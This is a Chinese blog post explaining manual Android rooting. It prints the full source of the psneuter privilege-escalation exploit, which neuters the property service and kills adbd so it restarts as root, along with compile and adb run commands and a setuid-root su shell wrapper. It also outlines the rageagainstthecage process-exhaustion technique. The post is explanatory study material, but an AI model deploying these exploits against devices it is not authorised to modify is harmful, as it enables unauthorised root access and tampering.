关于手动提取Android手机root权限原理的解析

关于手动提取Android手机root权限原理的解析

关于如何去获取Android手机root权限的教程网上很多,但是千篇一律,他们都是使用相同或者类似的工具执行相同或者类似的流程。

千篇一律的提取权限流程:

  • 获取临时root权限 (使用adb工具来上传几个必要的工具,psneuter、su和superuser.apk,修改psneuter的权限并且执行以提取临时root权限)
  • 拷贝su和superuser.apk到系统目录(有root权限的前提下完成)
  • 安装RE(RootExplorer)来检查是否正常获取到root权限。


在这篇文章我想分析的是,在提取root权限的过程中使用到的这些工具或者文件到底是做什么的,然后再联系每个步骤说明为整个过程。

1. 工具分析

1.1 psneuter
源文件地址:https://github.com/tmzt/g2root-kmod/blob/master/scotty2/psneuter/psneuter.c 
// psneuter.c, written by scotty2.

// neuter the android property service.

// ashmem allows us to restrict permissions for a page further, but not relax them.
// adb relies on the ability to read ro.secure to know whether to drop its privileges or not;
// if it can't read the ro.secure property (because perhaps it couldn't map the ashmem page... :)
// then it will come up as root under the assumption that ro.secure is off.
// this will have the unfortunate side effect of rendering any of the bionic userspace that relies on the property
// service and things like dns broken.
// thus, we will want to use this, see if we can fix the misc partition, and downgrade the firmware as a whole to something more root friendly.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <stdint.h>

#define ASHMEM_NAME_LEN         256
#define __ASHMEMIOC             0x77
#define ASHMEM_SET_NAME         _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME         _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE         _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE         _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK    _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK    _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN              _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN            _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS   _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)

int main(int argc, char **argv, char **envp)
{
    char *workspace;
    char *fdStr;
    char *szStr;

    char *ppage;

    int fd;
    long sz;

    DIR *dir;
    struct dirent *dent;
    char cmdlinefile[PATH_MAX];
    char cmdline[PATH_MAX];

    pid_t adbdpid = 0;

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    //获取环境变量ANDROID_PROPERTY_WORKSPACE的值,比如9,32768代表句柄为9,大小为32768的内存区域。
    workspace = getenv("ANDROID_PROPERTY_WORKSPACE");

    if(!workspace)
    {
	fprintf(stderr, "Couldn't get workspace.\n");
	exit(1);
    }

    fdStr = workspace;
    if(strstr(workspace, ","))
	*(strstr(workspace, ",")) = 0;
    else
    {
	fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
	exit(1);
    }
    szStr = fdStr + strlen(fdStr) + 1;

    fd = atoi(fdStr);
    sz = atol(szStr);
    //使用mmap将刚ANDROID_PROPERTY_WORKSPACE的值映射到ppage
    if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
    {
	fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
	exit(1);
    }
    //使用ioctl将Ashmem共享内存设置为不可读写。
    if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
    {
	fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
	exit(1);
    }

    printf("property service neutered.\n");
    printf("killing adbd. (should restart in a second or two)\n");

    // now kill adbd.
    //杀死当前的adbd进程,等待init进程重启adbd进程。
    dir = opendir("/proc");
    if(!dir)
    {
	fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
	exit(1);
    }
    while((dent = readdir(dir)))
    {
	if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
	{
	    // pid dir
	    strcpy(cmdlinefile, "/proc/");
	    strcat(cmdlinefile, dent->d_name);
	    strcat(cmdlinefile, "/cmdline");
	    if((fd = open(cmdlinefile, O_RDONLY)) < 0)
	    {
		fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
		continue;
	    }
	    if(read(fd, cmdline, PATH_MAX) < 0)
	    {
		fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
		close(fd);
		continue;
	    }
	    close(fd);
	    //	    printf("cmdline: %s\n", cmdline);
	    if(!strcmp(cmdline, "/sbin/adbd"))
	    {
		// we got it.
		adbdpid = atoi(dent->d_name);
		break;
	    }
	}
    }

    if(!adbdpid)
    {
	fprintf(stderr, "Failed to find adbd pid :(\n");
	exit(1);
    }

    if(kill(adbdpid, SIGTERM))
    {
	fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
	exit(1);
    }
    return 0;
}
 make和run的脚本:
#make
#!/bin/sh
arm-linux-gnueabi-gcc -opsneuter -static psneuter.c

#run
adb push psneuter /data/local/tmp
adb shell /data/local/tmp/psneuter
sleep 5
adb shell
  

1.2 su
/*
** Licensed under the Apache License, Version 2.0 (the "License"); 
** you may not use this file except in compliance with the License. 
** You may obtain a copy of the License at 
**
**     http://www.apache.org/licenses/LICENSE-2.0 
**
** Unless required by applicable law or agreed to in writing, software 
** distributed under the License is distributed on an "AS IS" BASIS, 
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
** See the License for the specific language governing permissions and 
** limitations under the License.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <sys/stat.h>

#include <unistd.h>
#include <time.h>

#include <pwd.h>


static int executionFailure(char *context)
{
	fprintf(stderr, "su: %s. Error:%s\n", context, strerror(errno));
	return -errno;
}

static int permissionDenied()
{
	// the superuser activity couldn't be started
	printf("su: permission denied\n Fail to call setuid or setgid\nPls check permission!!\nchmod 6755 su\n");
	return 1;
}

int main(int argc, char **argv)
{
        //运行su需要超级权限,6755
	if(setgid(0) || setuid(0)) {
		return permissionDenied();
        }

	char *exec_args[argc + 1];
	exec_args[argc] = NULL;
	exec_args[0] = "sh";
	int i;
	for (i = 1; i < argc; i++)
	{
		exec_args[i] = argv[i];
	}
	execv("/system/xbin/su", exec_args);
	return executionFailure("sh");
}
 

1.3 superuser.apk
TBD


1.4 rootexplorer.apk
TBD


2. 流程分析

2.1 获取临时root权限

adbd进程是运行在手机上的一个守护进程,他负责解释并运行PC传送过来的命令为开发者提供调试服务。该进程由init进程创建,但是创建后自身通过setuid系统调用设置运行的用户为shell用户。所以我们在手机中执行ps命令看到的adbd进程是以shell用户身份运行的。

如下图ps执行结果的倒数第三行所示:


获取root权限的关键就是想办法让adbd进程重新以root身份运行,这样通过电脑送过来的命令也就能够以root身份运行了。我们期盼如下的结果:


那么如何达到这一结果便成了提取root权限的关键所在。目前网上流传的有两种方法以达到这一目的:

1,让adbd重启,同时读取property失败,即使adbd:main中对于ro.secure为否。这种情况下便不会运行setuid来降至shell用户。

2,让adbd重启,读取property正常,尝试使setuid运行失败,便可以保持root用户身份。网上使用rageagainstthecage程序来达到这一目的的就是这个原理。(杀死adbd之后,以shell用户身份创建足够多的进程-系统允许的每个用户最大进程数,然后setuid便会运行失败)

本文中第1.1节介绍的psneuter即是利用第一种原理达到目的的,详见代码注释部分。

2.2 利用临时root权限更改系统文件

在adbd获取临时root权限的时机下,adb通过pc连接到adbd便也同理是root用户。接下来便通过此root权限将伪造的su:4755(切换用户的系统命令)修改到系统文件夹之下(通常为/system/bin或者/system/xbin)以便日后使用。同理superuser.apk:644也被放置在系统分区之下。

猜你喜欢

转载自purebel.iteye.com/blog/1673528